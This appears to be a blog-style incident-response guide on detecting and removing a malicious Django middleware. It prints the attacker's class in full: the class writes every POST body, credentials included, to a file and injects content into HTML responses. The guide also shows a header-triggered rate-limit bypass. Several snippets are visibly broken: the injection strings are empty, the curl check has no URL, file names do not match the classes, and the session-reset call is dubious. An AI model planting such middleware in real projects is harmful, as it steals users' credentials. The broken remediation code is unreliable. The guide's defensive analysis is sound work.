Why Custom Django Middleware Risks More Than You Realize

A single misconfigured middleware class in a Django application can transform a trusted endpoint into a data leak channel. Security teams often overlook custom django.middleware.request response logic as a potential attack vector, yet it sits directly in the path of every HTTP request and response. When attackers exploit this gap, they don’t just bypass validation—they weaponize the middleware stack itself.

The first sign of trouble is rarely a breach alert. Instead, it’s a slow creep in response sizes, odd encoding in payloads, or inconsistent headers across services. Monitoring tools flag /api/v1/user/ returning payloads that jump from 1.2KB to 14KB within minutes—no cache involved. Logs reveal base64-encoded scripts appended to HTML responses, a clear sign of active tampering. At this stage, restarting the app or scaling instances only spreads the compromise further.

Stop the Immediate Threat

The priority isn’t containment through brute force—it’s forensic precision. Do not restart the application yet. Instead, examine the middleware configuration for anomalies. Run a targeted grep to surface all active middleware classes:

$ grep -A10 'MIDDLEWARE = \[' myproject/settings.py
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'myapp.middleware.PayloadInjectorMiddleware',  # Suspicious entry
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    ...
]

The presence of PayloadInjectorMiddleware—a class not present in the approved codebase—confirms a breach. Preserve the file for analysis before deletion. Disable it by commenting out the line and restart the service:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    # 'myapp.middleware.PayloadInjectorMiddleware',  # Disabled for investigation
    'django.middleware.common.CommonMiddleware',
    ...
]

Restart the application server to apply changes:

$ sudo systemctl restart gunicorn

Verify the response size returns to baseline using a simple curl test:

$ curl -s -o /dev/null -w "%{size_download}" 
1248

With the bleed stopped, the focus shifts to isolating the source of the compromise.

Contain the Attack Surface

Every custom middleware class is a potential entry point. Start by auditing all files named middleware.py across the project:

$ find . -name "middleware.py" -exec grep -l "get_response" {} \;
./myapp/middleware.py
./utils/greenhouse_middleware.py

Inspect the contents of PayloadInjectorMiddleware, which reveals a textbook hijack technique:

class PayloadInjectorMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # Secretly log credentials to disk
        if request.method == 'POST':
            with open('/tmp/creds.log', 'a') as f:
                f.write(f"{request.path}: {request.POST}\n")

        response = self.get_response(request)

        # Inject arbitrary payloads into HTML responses
        if response.get('Content-Type', '').startswith('text/html'):
            injected = b''
            if response.content.endswith(b''):
                response.content = response.content.replace(b'', injected + b'')
            else:
                response.content += injected
            response['Content-Length'] = len(response.content)

        return response

This middleware intercepts every request and response, logs sensitive POST data to /tmp/creds.log, and injects scripts into HTML payloads without triggering Django’s built-in protections. The attack works because it directly mutates response.content and recalculates the Content-Length header, preserving HTTP integrity.

But the compromise runs deeper. The second file, RateOverrideMiddleware, isn’t actively malicious—yet it introduces a dangerous trust model:

class RateOverrideMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # Disable rate limiting based on a custom header
        if request.path.startswith('/api/') and request.META.get('HTTP_X_NO_RATE'):
            request.META['RATELIMIT_DISABLE'] = True
        return self.get_response(request)

This class trusts the HTTP_X_NO_RATE header without authentication, creating a privilege escalation vector. No prior commits exist in Git history, suggesting the file was written directly on the server—an immediate red flag.

Isolate and Recover Securely

Once the malicious middleware is identified, the recovery path depends on available clean artifacts. If Git history is intact, roll back to the last known clean commit and redeploy through CI/CD:

$ git show HEAD~3:myproject/settings.py | grep -A10 MIDDLEWARE

If no Git record exists but filesystem snapshots are available, restore the middleware file from a known-good backup and validate its integrity:

$ sha256sum /app/myapp/middleware.py
a1b2c3d...  # Compare against a verified clean hash

After restoration, reboot the service and monitor for anomalies. If logs indicate credential exfiltration, invalidate all active sessions and enforce password resets:

from django.contrib.auth import user_logged_out
from django.contrib.sessions.models import Session

Session.objects.all().delete()
user_logged_out.send(sender=None, request=None)

Prevent Future Exploits

Custom middleware must be treated as a security-critical component. Enforce the following controls:

• Require pull requests and code reviews for all middleware changes.
• Implement automated testing for middleware behavior using Django’s test client.
• Scan dependencies for known vulnerabilities before deployment.
• Monitor filesystem integrity with tools like aide or tripwire.
• Restrict SSH access and rotate all third-party vendor keys.

The next time your team deploys a custom middleware class, ask: Who else can touch this code? What can it do to a request or response? And how do we prove it’s safe? The answers might save your application from becoming the next silent data exfiltration channel.